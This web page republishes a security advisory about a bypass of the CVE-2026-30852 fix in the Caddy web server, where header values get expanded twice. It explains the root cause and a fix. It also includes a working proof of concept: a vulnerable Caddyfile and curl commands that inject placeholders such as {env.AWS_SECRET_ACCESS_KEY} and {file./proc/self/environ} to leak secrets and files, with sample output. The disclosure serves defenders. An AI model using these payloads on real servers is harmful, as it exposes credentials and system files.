Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ GHSA-wwhq-w58m-w29c — caddy (CVE-2026-30852)

⚪ Unknown ✅ No Known Exploit CWE-917 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Caddy CVE-2026-30852 Fix Bypass

#

TL;DR

CVE-2026-30852 fixed double expansion in vars_regexp when the variable key is a placeholder (e.g. {http.vars.x}). The fix does NOT protect literal key names (e.g. tenant_id). An attacker injects {env.AWS_SECRET_ACCESS_KEY} or {file./etc/passwd} via a request header → Caddy expands it on the second pass → secrets leaked in response headers.

Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.

Root Cause

modules/caddyhttp/vars.go, lines 215-217:

```go

valExpanded = varStr

if !fromPlaceholder {

valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION

}

```

Same issue at line 358-360 in MatchVarsRE.

fromPlaceholder is false when the variable key is a literal string (not wrapped in {}). The fix only protects fromPlaceholder=true.

Expansion chain:

1. Config: vars tenant_id {http.request.header.X-Tenant-ID}

2. Request header: X-Tenant-ID: {env.SECRET}

3. Pass 1 (VarsMiddleware.ServeHTTP, line 63): repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "") → resolves to literal string {env.SECRET}. Stored in vars map.

4. Pass 2 (VarsMatcher.MatchWithError, line 217): repl.ReplaceAll("{env.SECRET}", "") → resolves to the actual secret value.

5. Leaked value reflected in response header X-Tenant-ID or forwarded to backend via reverse_proxy.

Impact

  • Environment variable disclosure: {env.AWS_SECRET_ACCESS_KEY}, {env.DATABASE_URL}, etc.
  • Arbitrary file read (up to 1MB): {file./etc/passwd}, {file./proc/self/environ}
  • System info: {system.hostname}, {system.os}
  • Full env dump in one request: {file./proc/self/environ}

Realistic Attack Scenario

API gateway pattern - Caddy captures a tenant ID header, validates it with vars_regexp, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.

```

# Caddyfile

:8080 {

vars tenant_id {http.request.header.X-Tenant-ID}

@has_tenant vars_regexp tenant tenant_id (.+)

handle @has_tenant {

header X-Tenant-ID "{re.tenant.1}"

reverse_proxy tenant-backend:8080

}

respond "Missing X-Tenant-ID header" 400

}

```

```

# docker-compose.yml

services:

caddy:

image: caddy:2.11.2

ports:

  • "8080:8080"

volumes:

  • ./Caddyfile:/etc/caddy/Caddyfile:ro

environment:

  • SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345
  • DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production
  • AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
  • INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY

```

Attacker sends: X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}

Response contains: X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Reproduce

```bash

docker compose up -d

sleep 2

# Normal request — works as expected

curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant

# X-Tenant-Id: acme-corp

# Leak env var via response header

curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant

# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345

# Leak AWS credentials

curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant

# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Read arbitrary file

curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant

# Dump ALL env vars (Linux)

curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/

```

Confirmed Test Output (Caddy v2.11.2)

```

$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant

X-Tenant-Id: acme-corp

X-Routed-To: tenant-acme-corp

$ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant

X-Tenant-Id: sk-SUPER-SECRET-KEY-12345

X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345

$ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant

X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

$ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant

X-Tenant-Id: 06140d4a8645

```

Fix

Apply expansion guard to BOTH branches:

```go

// vars.go line 215-217 — fix:

valExpanded = varStr

// REMOVE: if !fromPlaceholder {

// valExpanded = repl.ReplaceAll(varStr, "")

// }

```

Or sanitize vars stored from user input before re-expansion.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality low, integrity none, availability none.

Weakness class

GHSA-wwhq-w58m-w29c is classified as CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'). The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special…

Affected software

GHSA-wwhq-w58m-w29c is recorded against 1 package.

  • github.com/caddyserver/caddy/v2

Timeline and source

Published on 19 May 2026 and last revised on 24 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
CWE CWE-917
Public Exploit ✅ No
Source OSV
Published 2026-05-19
Updated 2026-08-20
Modified 2026-07-24
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/caddyserver/caddy/v2

Similar Threats

Free Vulnerability Check

Is your site affected by GHSA-wwhq-w58m-w29c?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-wwhq-w58m-w29c and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.